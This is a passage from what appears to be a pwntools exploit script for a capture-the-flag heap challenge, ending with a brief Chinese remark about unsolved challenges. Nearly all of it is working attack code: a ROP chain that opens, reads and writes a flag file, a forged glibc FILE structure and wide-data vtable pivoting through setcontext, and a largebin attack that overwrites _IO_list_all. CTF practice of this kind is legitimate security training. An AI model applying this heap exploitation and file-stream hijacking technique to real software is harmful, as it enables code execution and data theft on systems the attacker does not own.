# open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
# lga("open_addr")
lga("read_addr")
lga("write_addr")

fake_IO_FILE = heap_base + 0x4810
orw_addr = fake_IO_FILE + 0x268
lga("fake_IO_FILE")
lga("orw_addr")
lga("set_context_61")

# open('./flag.txt', 0)
# read(3, bss + 0x200, 0x20)
# write(1, bss + 0x200, 0x20)
orw = [ret, pop_rax, 2, pop_rdi, orw_addr - 0x10, pop_rsi, 0, libc_base+libc.sym["syscall"]+27,
pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x40, 0, read_addr,
pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]

lga("libc_base+libc.sym['syscall']+27")

f1 = flat({
0x18: p64(orw_addr),
0x68: _lock,
0x80: fake_IO_FILE + 0xe0 + 0x20,
0xb8: _IO_wfile_jumps
})

data = flat({
0: bytes(f1),
# fake_wide_data
0xe0: { # _wide_data->_wide_vtable
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xa0: orw_addr, # setcontext61 rdx+0xa0
0xa8: ret, # setcontext61 rdx+0xa8
0xe0: fake_IO_FILE + 0x1C8 + 0x20, # f->_wide_data->_wide_vtable
},
# fake_wide_vtable
0x1C8: {
0x68: set_context_61 # *(fp->_wide_data->_wide_vtable + 0x68) backdoor
},
0x238: {
0: b'/flag\x00\x00\x00',
# open('/flag\x00\x00\x00', 0)
0x10: orw
}
})

# largebin attack
# 1.0x521 fake_chunk
add(b'plane', b'guangzhou', b'nanning', b'aaaa', 0x3E8) # 大
add(b'car', b'fuzhou', b'nanchang', b'aaaa', 0x3E8) # 小
add(b'car', b'nanchang', b'nanning', p64(0x521) * 0x50, 0x3E7)

delete(b'fuzhou', b'nanchang') # 小
delete(b'guangzhou', b'nanning') # 大

add(b'car', b'fuzhou', b'guangzhou', b'aaaa', 0x3E8)
payload = p64(0) + p64(0x521) + p64(0x400000004) + p64(0) # fake_0x521_chunk_4-4
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8)

# 2.0x501 fake_chunk
add(b'car', b'fuzhou', b'nanchang', b'aaaa', 0x3E8)

add(b'plane', b'changsha', b'changsha', b'aaaa', 0x3E8) # 大
add(b'car', b'nanning', b'nanning', b'aaaa', 0x3E8) # 小

add(b'car', b'nanchang', b'nanning', p64(0x521) * 0x50, 0x3E8)
delete(b'nanning', b'nanning') # 小
delete(b'changsha', b'changsha') # 大
add(b'car', b'changsha', b'changsha', b'aaaa', 0x3E8)
payload = p64(0) + p64(0x501) + p64(0x300000003) + p64(0) + data # fake_0x501_chunk_3-3
payload = payload.ljust(0x500, b'a') + p64(0x541) * 2
add(b'plane', b'changsha', b'changsha', payload, 0x3E8)

delete(b'fuzhou', b'fuzhou')
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8) # 0x521 -> largebin
delete(b'nanchang', b'nanchang')
targe_addr = libc_base + libc.sym['_IO_list_all']
edit(b'guangzhou', b'nanning', 0, p64(0) + p64(0x521) + p64(0x21b110 + libc_base) * 2 + p64(0) + p64(targe_addr - 0x20))
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8)

sla(b"5. Calculate the distance.", b'6')

log_all()
ia()
# io\.recvuntil\("(.*?)"\)
# io\.recvuntil\(b"$1"\)
# io\.sendline\(str\((.*?)\)\)
# io\.sendline\(str\($1\)\.encode\(\)\)

剩下3题分别是http pwn,ptrace(应该是内核知识?),c++异常处理,留坑吧